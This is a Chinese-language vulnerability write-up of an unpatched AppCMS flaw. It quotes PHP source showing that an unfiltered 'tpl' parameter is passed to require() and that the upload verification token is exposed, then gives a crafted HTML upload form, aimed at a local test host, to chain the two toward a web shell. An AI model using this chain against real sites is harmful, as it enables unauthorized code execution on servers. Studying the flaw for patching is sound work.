appcms包含getshell 0day

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2024-07-16 17:30:27 221人阅读

0x01代码分析

看到index.php文件

$tpl = isset($_GET[‘tpl‘])?$_GET[‘tpl‘]:‘index‘;// 2.1)判断分类绑定模板if (intval($cid) > 0) {    $ncate = isset($c -> categories[$cid])?$c -> categories[$cid]:‘‘;    if ($ncate == ‘‘) die(‘分类不存在‘);    if ($ncate[‘tpl_listvar‘] != ‘‘) { // 列表页不为空，当前页面大于第一页，替换为列表页模板        $tpl = substr($ncate[‘tpl_listvar‘], 0, stripos($ncate[‘tpl_listvar‘], "."));    }     if ($ncate[‘tpl_index‘] != ‘‘) { // 封面页不为空，当前页面为第一页，替换为封面模板        if ($p == 1) $tpl = substr($ncate[‘tpl_index‘], 0, stripos($ncate[‘tpl_index‘], "."));    } } // 2.2)判断分类下内容页面模板，资讯详情页，应用详情页，应用历史版本页if ($tpl == ‘content_app‘) {    $c -> update_vistor($id, 0);    $con = $c -> get_content($id, 0);    if(!isset($con[‘app_id‘])) { die(‘信息不存在‘); }} elseif ($tpl == ‘content_app_history‘) {    $c -> update_vistor($id, 0);    $con = $c -> get_content($id, 0);     // exit(print_r($con[‘history‘]));    foreach($con[‘history‘] as $a) { // 判断当前应用版本信息        if ($a[‘history_id‘] == $hid) {            $history = $a;             // print_r($history);            continue;        }     }     if (!isset($history)) die(‘历史版本数据不存在‘);} elseif ($tpl == ‘content_info‘) {    $c -> update_vistor($id, 1);    $con = $c -> get_content($id, 1);    if(!isset($con[‘info_id‘])) { die(‘信息不存在‘); }} if (isset($con) && $c -> categories[$con[‘last_cate_id‘]][‘tpl_content‘] != ‘‘) $tpl = $c -> categories[$con[‘last_cate_id‘]][‘tpl_content‘];// 内容页顶级分类ID判断，导航条使用if (isset($con)) {    $top = $c -> cate_father($con[‘last_cate_id‘]);    $topid = $top[0][‘cate_id‘];} // 3)组合模板页面路径$from_mobile = TEMPLATE;if (defined(‘CONTENT_MOBILE‘) && CONTENT_MOBILE == 1) { // 自适应WAP浏览    if ($c -> from_mobile()) {                $from_mobile =  defined(‘WAP_TPL‘) && WAP_TPL ? WAP_TPL : m;    } } if (defined(‘WAP_URL‘) && WAP_URL != ‘‘ && ‘http://‘ . $_SERVER[‘HTTP_HOST‘] == WAP_URL) { // WAP独立域名浏览    $from_mobile = WAP_TPL;} if (substr($_SERVER[‘HTTP_HOST‘], 0, 4) == ‘mkt.‘) { // 手机客户端    $from_mobile = "mkt";} if (substr($tpl, strlen($tpl)-4, 4) == ‘.php‘) {    $tmp_file = ‘/templates/‘ . $from_mobile . ‘/‘ . $tpl;} else {    $tmp_file = ‘/templates/‘ . $from_mobile . ‘/‘ . $tpl . ‘.php‘;} if (!file_exists(dirname(__FILE__) . $tmp_file)) die(‘模板页面不存在‘ . $tmp_file);require(dirname(__FILE__) . $tmp_file);/** * 其他动作函数开始 */

可以看到传进来的tpl没有做任何过滤，直接包含了。

但是这个cms没有直接上传的地方，前台没啥功能。但是，如何利用这个包含呢？难道只有包含日志神马的吗？那太鸡肋了。我们应该想办法来getshell。

看到/upload/upload_file.php

$page[‘get‘] = $_GET;$page[‘post‘] = $_POST;$dbm = new db_mysql();$params = $page[‘get‘][‘params‘];/** * $params=json_encode(urldecode($params)); * die(‘<script> alert(‘.$params.‘);</script>‘); */$params = preg_replace(‘~(\\\")~‘, ‘"‘, $params);$json_params = json_decode($params);// 1.验证请求安全性$verify = isset($page[‘get‘][‘v‘])?$page[‘get‘][‘v‘]:‘‘;if ($verify == ‘‘) die(‘<script>alert("No Access 001");</script>‘);$verify = helper :: decrypt($verify, UPLOAD_KEY);$gsc = substr($verify, 0, strlen(UPLOAD_CODE));if ($gsc != UPLOAD_CODE) die(‘<script>alert("No Access 002 ‘ . $gsc . ‘");</script>‘);if (!preg_match(‘~(\d{10})~‘, substr($verify, strlen(UPLOAD_CODE)))) die(‘<script>alert("No Access 003‘ . $verify . ‘");</script>‘);// 2.接收图片上传$save_path = ‘.‘ . UPLOAD_PATH . date(‘Y/m/d‘) . ‘/‘;$file_name=strtolower($_FILES[‘file‘][‘name‘]);if(strstr($file_name,‘.apk‘)) {    $save_path = ‘.‘ . (defined(‘UPLOAD_PATH_APK‘)?UPLOAD_PATH_APK:‘/apk/‘) . date(‘Y/m/d‘) . ‘/‘;}$upload_config = array();$upload_config[‘savePath‘] = $save_path; //图片保存路径

通过$verify来验证是否可以上传，如何获得$verify呢。看到upload_form.php

<?php    require_once(dirname(__FILE__)."/../core/init.php");    $upload_server= SITE_PATH."upload/";    // 上传安全验证字符串    $verify=helper::encrypt(UPLOAD_CODE.strtotime(date(‘Y-m-d H:i:s‘)),UPLOAD_KEY);    $params=$_GET[‘params‘];    $params=preg_replace(‘~(\\\")~‘,‘"‘,$params);    $json=json_decode($params);?>........<body>     <form action=‘<?php echo($upload_server); ?>upload_file.php?params=<?php echo urlencode($params);?>&v=<?php echo($verify);?>‘ id="form" name="form" enctype="multipart/form-data" method="post" target="hidden_frame">          <a class="input-file">上传文件<input type="file" id="file" name="file" size="1" style="width:70px;cursor:default;height:25px;line-height:25px;"></a>       <iframe name="hidden_frame" id="hidden_frame" frameborder="no" border="0″ marginwidth="0″ marginheight="0" scrolling="no" allowtransparency="yes"></iframe>   </form> </body></html>

直接echo出了他的值,这样就好办了。我们本地构造上传表单。

</html><head></head><body>     <form action="http://127.0.0.1/appcms/upload/upload_file.php?params=&v=tHtAtQScLEskxnAynNEomxsWH"id="form" name="form" enctype="multipart/form-data" method="post" target="hidden_frame"><input type=‘file‘ name=‘file‘ /><input type=‘submit‘ value=‘Upload File‘ /><form> </body></html>